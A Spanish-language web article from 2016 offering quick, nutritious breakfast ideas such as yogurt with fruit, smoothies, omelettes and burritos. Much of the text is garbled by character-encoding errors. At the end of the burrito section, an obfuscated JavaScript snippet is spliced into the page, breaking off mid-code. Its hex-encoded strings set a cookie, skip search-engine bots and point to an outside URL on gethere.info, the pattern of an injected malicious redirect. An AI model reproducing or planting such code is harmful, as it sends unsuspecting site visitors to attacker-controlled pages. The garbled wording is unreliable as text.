Entretenimiento

22 May 2016
Entretenimiento | Por: Redacción

Tips para desayunar delicioso y nutritivo

 

Desde que eras pequeAi??o de seguro tu madre te decAi??a que el desayuno es la comida mA?s importante del dAi??a, por lo que aunque no tuvieras hambre debAi??as terminar todo el plato. Lo cierto es que tenAi??a toda la razA?n, ya que un buen desayuno lograrA? que tu organismo tenga energAi??a para comenzar el dAi??a.Ai??Ai??

Con los nutrientes necesarios, podrA?s aprovechar el tiempo y no te agotarA?s con facilidad, ademA?s podrA?s pensar con claridad. Puedes comprobar que saltarte este tiempo de comida solo contribuye a deteriorar la salud y nutriciA?n de tu cuerpo, estA? cientAi??ficamente comprobado.

Si lo que buscas en adelgazar al no desayunar nutritivamente estA?s equivocado, puesto que se han hecho estudios que demuestran que al hacer eso solo ocasionas que tu metabolismo tenga ansiedad, por lo que terminarA?s consumiendo mA?s calorAi??as durante el dAi??a. Consumir un desayuno balanceado te brinda saciedad, asAi?? como mA?ltiples beneficios a lo largo del dAi??a.

Puedes considerar que preparar y comer un desayuno nutritivo, que te aporte las energAi??as necesarias puede conllevar mucho tiempo, sin embargo, acA? te damos alternativas para hacerlo de manera rA?pida y eficiente.

 

  • Yogurt con Fruta

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Puedes optar por mezclar yogurt natural, sea bajo en grasa o normal, con trozos de fruta de la que te apetezca o tambiAi??n con miel. Una opciA?n saludable, pero si padeces de diabetes debes tener cuidado de no hacerlo en exceso. Si deseas le agregas granola para darle un toque especial.

 

  • SmoothiesAi??

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Es una de las opciones mA?s prA?cticas de preparar y te da la oportunidad de cargarlo contigo donde vayas. PodrA?s guardarlo en un recipiente e irlo tomando en el camino al trabajo o la escuela. Solo necesitas licuar leche con hielo y la fruta que desees, te darA? la nutriciA?n de un desayuno para comenzar tu dAi??a.

Puedes optar por hacerlo de plA?tano, mantequilla de manAi??, leche y agregarle hielo, solo deberA?s licuar todos los ingredientes y serA? la opciA?n perfecta para desayunar ligero y sin mucho tiempo de elaboraciA?n. Lo mejor de todo que los ingredientes los decides tA?.

 

  • Omelette con vegetalesAi??

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Si quieres proteAi??nas y vitaminas esta es tu opciA?n. Solo necesitarA?s huevo, vegetales y echarlo todo en una sartAi??n con un poco de aceite para que se cocine bien. Si eres amante de las carnes, puedes cambiar los vegetales por ellas o combinar ambos ingredientes. Lo que sea que se adapte a tus gustos y te proporcione una comida balanceada y sin invertir mucho tiempo.

 

  • SA?ndwichAi??

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OpciA?n sencilla para comer rA?pido y diferente. Si sabes cA?mo preparar un sA?ndwich este es tu desayuno ideal. NecesitarA?s huevo, pan, tomate, lechuga, queso y los ingredientes que prefieras. AdemA?s, puedes optar por jamA?n de pavo o mortadela. EstA? permitido que experimentes si prefieres el pan blanco o integral.

 

  • Waffle con frutasAi??

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Desayuno dulce, en el que solo debes introducir el waffle al tostador y lo puedes aderezar con mantequilla de manAi?? o azA?car. Coloca fruta de tu preferencia, pero ten cuidado de no excederte con lo dulce si tienes diabetes. Recuerda que los waffles deben quedar tostaditos, pero no quemados o mucho menos aguados.

 

  • BurritoAi??

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Aunque deberA?s emplear un poco mA?s de tiempo, esta es una opciA?n de origen mexicano muy nutritiva y no grasosa. En una sartAi??n deberA?s colocar un poco de aceite, huevo y lo que consideres conveniente agregarle. Puedes optar por jamA?n, hongos, chile verde, queso, tomate, entre otros. Todo se revuelve y cuando este cocido se envuelve con una tortilla delgada integral o blanca.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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